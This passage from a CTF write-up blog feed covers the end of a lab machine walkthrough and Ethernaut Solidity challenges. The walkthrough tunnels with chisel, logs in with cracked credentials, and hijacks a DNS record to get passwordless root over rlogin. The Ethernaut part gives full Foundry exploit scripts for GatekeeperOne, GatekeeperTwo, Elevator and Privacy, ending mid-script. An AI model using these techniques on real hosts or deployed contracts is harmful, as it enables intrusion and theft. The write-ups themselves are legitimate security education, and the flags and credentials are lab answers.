&lt;p&gt;Further enumeration reveals a PowerDNS Admin instance running on &lt;code&gt;172.18.0.6&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -p- -v 172.18.0.6 --min-rate 5000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image23.png&quot; alt=&quot;PowerDNS Discovery&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since the PowerDNS Admin service is only accessible internally, we set up a SOCKS5 tunnel:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Local Chisel Server:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chisel server --socks5 --reverse -p 7070 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Container Chisel Client:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chisel client &amp;lt;IP&amp;gt;:7070 R:80:172.18.0.6:80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Through the tunnel, we access the PowerDNS Admin web interface and authenticate with the cracked credentials (&lt;code&gt;admin:winston&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image24.png&quot; alt=&quot;PowerDNS Admin Login&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Administrative Access:&lt;/strong&gt; Successful login provides full control over DNS zones and records.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image25.png&quot; alt=&quot;Admin Panel&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;DNS Record Manipulation for Privilege Escalation&lt;/h3&gt;
&lt;p&gt;Recall the &lt;code&gt;.rhosts&lt;/code&gt; file content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;intern.build.vl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Privilege Escalation Path:&lt;/strong&gt; To exploit the passwordless root login via rlogin, the hostname &lt;code&gt;intern.build.vl&lt;/code&gt; must resolve to our IP address.&lt;/p&gt;
&lt;p&gt;Using PowerDNS Admin privileges, we modify the DNS record for &lt;code&gt;intern.build.vl&lt;/code&gt; to point to our IP address.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image26.png&quot; alt=&quot;IP Modification&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DNS Manipulation:&lt;/strong&gt; By changing the A record for &lt;code&gt;intern.build.vl&lt;/code&gt; to point to our IP address, we satisfy the &lt;code&gt;.rhosts&lt;/code&gt; authentication requirement.&lt;/p&gt;
&lt;h3&gt;Root Access via Rlogin&lt;/h3&gt;
&lt;p&gt;With the DNS record pointing to our machine, we can now use rlogin to connect as root without a password:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rlogin 10.129.234.169
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image27.png&quot; alt=&quot;Root Access via Rlogin&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root Access Achieved:&lt;/strong&gt; The rlogin service authenticates us as root based on the &lt;code&gt;.rhosts&lt;/code&gt; configuration and DNS resolution.&lt;/p&gt;
&lt;p&gt;As root, we access the root flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image28.png&quot; alt=&quot;Root Flag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root Flag:&lt;/strong&gt; &lt;code&gt;b7b1e48179891ea87e77b1f83bada971&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>GateKeeper Two - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/gatekeepertwo/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/gatekeepertwo/</guid><description>GateKeeper Two challenge writeup</description><pubDate>Sat, 11 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel14.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;Gatekeeper Two is a three-gate challenge that prevents direct entry by ordinary externally-owned accounts.
The goal is to become the contract&apos;s &lt;code&gt;entrant&lt;/code&gt; by calling &lt;code&gt;enter(bytes8 _gateKey)&lt;/code&gt; while satisfying three intentional checks (the &quot;gates&quot;):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;gateOne&lt;/code&gt;&lt;/strong&gt;: The caller must be a contract — i.e., &lt;code&gt;msg.sender != tx.origin&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;gateTwo&lt;/code&gt;&lt;/strong&gt;: The contract checks the code size of the caller in assembly (&lt;code&gt;extcodesize(caller()) == 0&lt;/code&gt;). This means the call must be made while the caller&apos;s address has no deployed code (the classic way to satisfy this is to perform the call from inside the &lt;em&gt;constructor&lt;/em&gt; of the attacking contract).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;gateThree&lt;/code&gt;&lt;/strong&gt;: A 64-bit bitwise constraint on the supplied &lt;code&gt;_gateKey&lt;/code&gt; that depends on &lt;code&gt;msg.sender&lt;/code&gt; (not &lt;code&gt;tx.origin&lt;/code&gt;): &lt;code&gt;uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This writeup explains how to construct the correct &lt;code&gt;_gateKey&lt;/code&gt;, why each gate exists, and how the constructor-call technique is used to satisfy &lt;code&gt;gateTwo&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;To bypass the first gate we simply have to create another contract and call it.&lt;/p&gt;
&lt;p&gt;The second gate was harder, and we found this article talking about it: the Medium post explains how &lt;code&gt;extcodesize&lt;/code&gt; can be bypassed by making the call during the attacking contract’s constructor. {{&amp;lt;externalLinkCard title=&quot;Bypass Solidity Contract Size Check — BrianKim (Coinmonks)&quot; link=&quot;https://medium.com/coinmonks/bypass-solidity-contract-size-check-c6e93396b722&quot; cover=&quot;images/dark-cloud.jpg&quot;&amp;gt;}}&lt;/p&gt;
&lt;p&gt;Summing up, we have to call everything inside the constructor to bypass it.&lt;/p&gt;
&lt;p&gt;Now the third gate was the most challenging. Below is a compact, corrected, and prettier derivation using XOR properties.&lt;/p&gt;
&lt;h3&gt;XOR math (prettified)&lt;/h3&gt;
&lt;p&gt;Start from the relation used in the exploit:&lt;/p&gt;
&lt;p&gt;$$
x \oplus \text{key} = \text{max}
$$&lt;/p&gt;
&lt;p&gt;XOR both sides with (x). Using associativity/commutativity of XOR:&lt;/p&gt;
&lt;p&gt;$$
x \oplus (x \oplus \text{key}) = x \oplus \text{max}
$$&lt;/p&gt;
&lt;p&gt;The left-hand side simplifies because (x \oplus x = 0) and (0 \oplus \text{key} = \text{key}). So:&lt;/p&gt;
&lt;p&gt;$$
\text{key} = x \oplus \text{max}.
$$&lt;/p&gt;
&lt;p&gt;Equivalently (XOR is symmetric):&lt;/p&gt;
&lt;p&gt;$$
x \oplus \text{max} = \text{key}.
$$&lt;/p&gt;
&lt;p&gt;You can also solve for (x) directly by XOR-ing the original equation with &lt;code&gt;key&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;$$
x = \text{max} \oplus \text{key}.
$$&lt;/p&gt;
&lt;h3&gt;Short step-by-step (text)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Given: &lt;code&gt;x ⊕ key = max&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;XOR both sides with &lt;code&gt;x&lt;/code&gt;: &lt;code&gt;(x ⊕ key) ⊕ x = max ⊕ x&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Since &lt;code&gt;(x ⊕ key) ⊕ x = key&lt;/code&gt; (because &lt;code&gt;x ⊕ x = 0&lt;/code&gt;), we get &lt;code&gt;key = max ⊕ x&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Rearranged: &lt;code&gt;x ⊕ max = key&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;And solving for &lt;code&gt;x&lt;/code&gt;: &lt;code&gt;x = max ⊕ key&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/GatekeeperTwo.sol&quot;;

contract Attack {
    GatekeeperTwo public gatekeeperTwoInstance;

    constructor(GatekeeperTwo _gatekeeperTwoInstance) {
        gatekeeperTwoInstance = _gatekeeperTwoInstance;
        bytes8 x = bytes8(keccak256(abi.encodePacked(address(this))));
        bytes8 key;
        // x ^ key = max
        
        // Using the property of XOR operation:
        // x ^ x ^ key = max

        // x ^ x ^ key =&amp;gt; results in key, x will cancel the other x

        // Since x ^ key = max, we can substitute in the operation above
        // x ^ max = max

        
        key = x ^ bytes8(type(uint64).max);
        
        require(gatekeeperTwoInstance.enter(key) == true, &quot;Failed to complete the challenge!&quot;);
    }
}

contract GatekeeperTwoSolution is Script {
    
     GatekeeperTwo public gatekeeperTwoInstance = GatekeeperTwo(&amp;lt;YOUR_INSTANCE&amp;gt;);

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        Attack evil = new Attack(gatekeeperTwoInstance);
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Run with Foundry (example):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/GatekeeperTwoSolution.s.sol --rpc-url $SEPOLIA_URL --tc GatekeeperTwoSolution --broadcast
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>GateKeeper One - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/gatekeeperone/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/gatekeeperone/</guid><description>GateKeeper One challenge writeup</description><pubDate>Sun, 21 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel13.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;Gatekeeper One is a three-gate challenge that prevents direct entry by ordinary externally-owned accounts.&lt;br /&gt;
The goal is to become the contract&apos;s &lt;code&gt;entrant&lt;/code&gt; by calling &lt;code&gt;enter(bytes8 _gateKey)&lt;/code&gt; while satisfying three intentional checks (the &quot;gates&quot;):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;gateOne&lt;/code&gt;: You must call through a contract (so &lt;code&gt;msg.sender != tx.origin&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gateTwo&lt;/code&gt;: Call must arrive with a very specific remaining-gas condition (&lt;code&gt;gasleft() % 8191 == 0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gateThree&lt;/code&gt;: A bit-level constraint on the &lt;code&gt;bytes8 _gateKey&lt;/code&gt; related to &lt;code&gt;tx.origin&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This writeup shows how to craft the &lt;code&gt;gateKey&lt;/code&gt;, why each gate exists, and how to brute-force the gas to pass &lt;code&gt;gateTwo&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), &quot;GatekeeperOne: invalid gateThree part one&quot;);
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), &quot;GatekeeperOne: invalid gateThree part two&quot;);
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), &quot;GatekeeperOne: invalid gateThree part three&quot;);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;We need to satisfy all three gates in a single &lt;code&gt;enter()&lt;/code&gt; call.&lt;/p&gt;
&lt;h3&gt;Gate One: &lt;code&gt;require(msg.sender != tx.origin);&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This forces the caller to be a &lt;strong&gt;contract&lt;/strong&gt;, not an EOA. You must deploy an attacker contract and &lt;strong&gt;have that contract call&lt;/strong&gt; &lt;code&gt;enter(...)&lt;/code&gt;. The contract&apos;s &lt;code&gt;msg.sender&lt;/code&gt; will then be the attacker contract, while &lt;code&gt;tx.origin&lt;/code&gt; remains your EOA.&lt;/p&gt;
&lt;h3&gt;Gate Two: &lt;code&gt;require(gasleft() % 8191 == 0);&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This requires that, when the &lt;code&gt;enter()&lt;/code&gt; function executes the &lt;code&gt;gateTwo&lt;/code&gt; modifier, the &lt;em&gt;remaining gas&lt;/em&gt; at that moment is a multiple of &lt;code&gt;8191&lt;/code&gt;. Because different EVM instructions consume gas and the call-from-contract introduces additional overhead, the practical way to satisfy this is to call &lt;code&gt;enter()&lt;/code&gt; from the attacker contract and &lt;strong&gt;brute-force the supplied &lt;code&gt;gas&lt;/code&gt;&lt;/strong&gt; for the internal &lt;code&gt;call{gas: x}()&lt;/code&gt; until &lt;code&gt;gasleft() % 8191 == 0&lt;/code&gt; inside the callee.&lt;/p&gt;
&lt;p&gt;Important notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The gas value passed to &lt;code&gt;.call{gas: g}()&lt;/code&gt; is &lt;em&gt;the gas available to the callee&lt;/em&gt;, but the EVM also deducts some gas before the callee reaches the &lt;code&gt;require&lt;/code&gt;. So brute-forcing an offset across a range of nearby gas values (for example &lt;code&gt;base + i&lt;/code&gt; for &lt;code&gt;i&lt;/code&gt; in &lt;code&gt;0..8190&lt;/code&gt;) is a practical approach.&lt;/li&gt;
&lt;li&gt;The required base offset depends on compiler version / opcode layout. A small search window of ~8191 tries is sufficient in practice.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Gate Three: bit-level constraints on &lt;code&gt;_gateKey&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;There are three checks; rewrite them in plain terms:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))&lt;/code&gt;
→ The low 4 bytes (32 bits) of the key equals the low 2 bytes (16 bits). This means bits 16..31 of the low 32 bits must be zero.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;uint32(uint64(_gateKey)) != uint64(_gateKey)&lt;/code&gt;
→ The low 32 bits are &lt;strong&gt;not equal&lt;/strong&gt; to the full 64-bit value. So some of the high 32 bits (bits 32..63) must be non-zero.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))&lt;/code&gt;
→ The low 32 bits (which must equal the low 16 bits per check 1) must equal the low 16 bits of the &lt;code&gt;tx.origin&lt;/code&gt; address.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Combining these yields a simple construction:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Let &lt;code&gt;k16 = uint16(uint160(tx.origin))&lt;/code&gt; — that&apos;s the low 16 bits of your EOA address.&lt;/li&gt;
&lt;li&gt;The low 32 bits (&lt;code&gt;uint32&lt;/code&gt;) of the key must equal &lt;code&gt;k16&lt;/code&gt;. So bits 0..15 = &lt;code&gt;k16&lt;/code&gt;, and bits 16..31 = &lt;code&gt;0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The high 32 bits must be non-zero (to satisfy check 2).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A safe, minimal choice is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;key = bytes8( (uint64(1) &amp;lt;&amp;lt; 32) | uint64(k16) )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This sets bit 32 (so high 32 bits ≠ 0) and sets the low 32 bits to &lt;code&gt;k16&lt;/code&gt; (with bits 16..31 zero). That satisfies all three parts.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;p&gt;This attacker contract builds the key from &lt;code&gt;tx.origin&lt;/code&gt; (the EOA that will call the attacker contract), then loops trying different gas values until the &lt;code&gt;enter()&lt;/code&gt; call succeeds.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/GatekeeperOne.sol&quot;;

contract Attack {
    GatekeeperOne public gatekeeperOneInstance;

    constructor(GatekeeperOne _gatekeeperOneInstance) {
        gatekeeperOneInstance = _gatekeeperOneInstance;
    }

    function attack() public {
        // key = uint64(_gateKey);

        // uint32(key) == uint16(uint160(tx.origin));
        // uint32(key) != key;        
        uint16 k16 = uint16(uint160(tx.origin));

        // uint32(key) == uint16(key);
        uint64 k64 = (uint64(1) &amp;lt;&amp;lt; 63) + uint64(k16);
        bytes8 key = bytes8(k64);

        // bruteforce to pass gate two
        uint256 base = 20000;
        for (uint256 i = 0; i &amp;lt; 8191; i++) {
            uint256 gasToTry = base + i;
            (bool ok, ) = address(gatekeeperOneInstance).call{gas: gasToTry}(
                abi.encodeWithSelector(gatekeeperOneInstance.enter.selector, key)
            );
            if (ok) {
                return;
            }
        }
    }
}


contract GatekeeperOneSolution is Script {
    
     GatekeeperOne public gatekeeperOneInstance = GatekeeperOne(&amp;lt;YOUR_INSTANCE&amp;gt;);

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        Attack evil = new Attack(gatekeeperOneInstance);
        evil.attack();
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Tip: if &lt;code&gt;base = 20000&lt;/code&gt; doesn&apos;t work in your environment, try other base offsets (e.g. &lt;code&gt;80000&lt;/code&gt;, &lt;code&gt;100000&lt;/code&gt;, etc.). The script loops over &lt;code&gt;8191&lt;/code&gt; consecutive values per attempt; changing &lt;code&gt;base&lt;/code&gt; shifts that window.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Run with Foundry (example):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/GatekeeperOneSolution.s.sol --rpc-url $SEPOLIA_URL --tc GatekeeperOneSolution --broadcast
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After success, &lt;code&gt;entrant&lt;/code&gt; on the &lt;code&gt;GatekeeperOne&lt;/code&gt; instance will be set to your EOA (check with &lt;code&gt;gatekeeperOneInstance.entrant()&lt;/code&gt;).&lt;/p&gt;
</content:encoded></item><item><title>Elevator - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/elevator/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/elevator/</guid><description>Elevator challenge writeup</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel11.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;This level involves an Elevator contract that uses an external Building interface to determine if a floor is the top floor. The goal is to reach the top of the building by manipulating the return values of the &lt;code&gt;isLastFloor()&lt;/code&gt; function to bypass the contract&apos;s logic.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The vulnerability exists because the &lt;code&gt;goTo()&lt;/code&gt; function calls the external &lt;code&gt;isLastFloor()&lt;/code&gt; function &lt;strong&gt;twice&lt;/strong&gt; and assumes it will return consistent results:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {  // First call
        floor = _floor;
        top = building.isLastFloor(floor);  // Second call
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since we control the &lt;code&gt;Building&lt;/code&gt; implementation, we can return different values for each call:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;First call&lt;/strong&gt;: Return &lt;code&gt;false&lt;/code&gt; to pass the &lt;code&gt;if&lt;/code&gt; condition and enter the block&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Second call&lt;/strong&gt;: Return &lt;code&gt;true&lt;/code&gt; to set &lt;code&gt;top = true&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This allows us to bypass the intended logic and reach the top floor regardless of the actual floor number.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Elevator.sol&quot;;

contract EvilBuilding {
    bool private evilSwitch;
    Elevator public elevatorInstance = Elevator(&amp;lt;YOUR_INSTANCE&amp;gt;);

    function attack() public {
        // Trigger the goTo() function with any floor number
        elevatorInstance.goTo(999);
    }

    function isLastFloor(uint256 _floor) external returns (bool) {
        // First call: return false to pass the if condition
        if(!evilSwitch){
            evilSwitch = true;
            return false;
        } else {
            // Second call: return true to set top = true
            return true;
        }
    }
}

contract ElevatorSolution is Script {
    
    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        
        // Deploy the malicious Building contract
        EvilBuilding evil = new EvilBuilding();
        
        // Execute the attack
        evil.attack();
        
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Execute the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/ElevatorSolution.s.sol --rpc-url $SEPOLIA_URL --tc ElevatorSolution --broadcast
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Privacy - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/privacy/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/privacy/</guid><description>Privacy challenge writeup</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel12.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;This level involves a contract that attempts to protect sensitive data using private variables. However, all data stored on the blockchain is publicly accessible. The goal is to extract the key from storage and use it to unlock the contract.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The vulnerability stems from the misconception that &lt;code&gt;private&lt;/code&gt; variables are hidden on the blockchain. In reality, all contract storage is publicly readable. The &lt;code&gt;private&lt;/code&gt; keyword only prevents other contracts from directly accessing these variables - it doesn&apos;t hide the data from blockchain explorers or direct storage access.&lt;/p&gt;
&lt;h3&gt;Storage Layout Analysis&lt;/h3&gt;
&lt;p&gt;Understanding how variables are packed in storage:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Slot 0&lt;/strong&gt;: &lt;code&gt;bool public locked&lt;/code&gt; (1 byte)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Slot 1&lt;/strong&gt;: &lt;code&gt;uint256 public ID&lt;/code&gt; (32 bytes - occupies full slot)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Slot 2&lt;/strong&gt;: Packed variables:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;uint8 private flattening&lt;/code&gt; (1 byte)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;uint8 private denomination&lt;/code&gt; (1 byte)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;uint16 private awkwardness&lt;/code&gt; (2 bytes)&lt;/li&gt;
&lt;li&gt;Total: 4 bytes (remaining 28 bytes unused)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Slot 3&lt;/strong&gt;: &lt;code&gt;bytes32[3] private data[0]&lt;/code&gt; (32 bytes)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Slot 4&lt;/strong&gt;: &lt;code&gt;bytes32[3] private data[1]&lt;/code&gt; (32 bytes)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Slot 5&lt;/strong&gt;: &lt;code&gt;bytes32[3] private data[2]&lt;/code&gt; (32 bytes) ← &lt;strong&gt;This contains our key&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The key to unlock the contract is stored in &lt;code&gt;data[2]&lt;/code&gt; at storage slot 5.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Steps&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Read storage slot 5&lt;/strong&gt; to get the &lt;code&gt;bytes32&lt;/code&gt; key value:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cast storage &amp;lt;YOUR_INSTANCE&amp;gt; 5 --rpc-url $SEPOLIA_URL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Returns: &lt;code&gt;0xe6dd9b7773267803f7e98c2a32f85b912afa06b9b90a477db2ae663e098bb333&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Convert to bytes16&lt;/strong&gt; by taking the first 16 bytes (truncating from 32 bytes to 16 bytes)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Call unlock()&lt;/strong&gt; with the converted bytes16 value&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Privacy.sol&quot;;

contract PrivacySolution is Script {
    
    Privacy public privacyInstance = Privacy(&amp;lt;YOUR_INSTANCE&amp;gt;);

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        
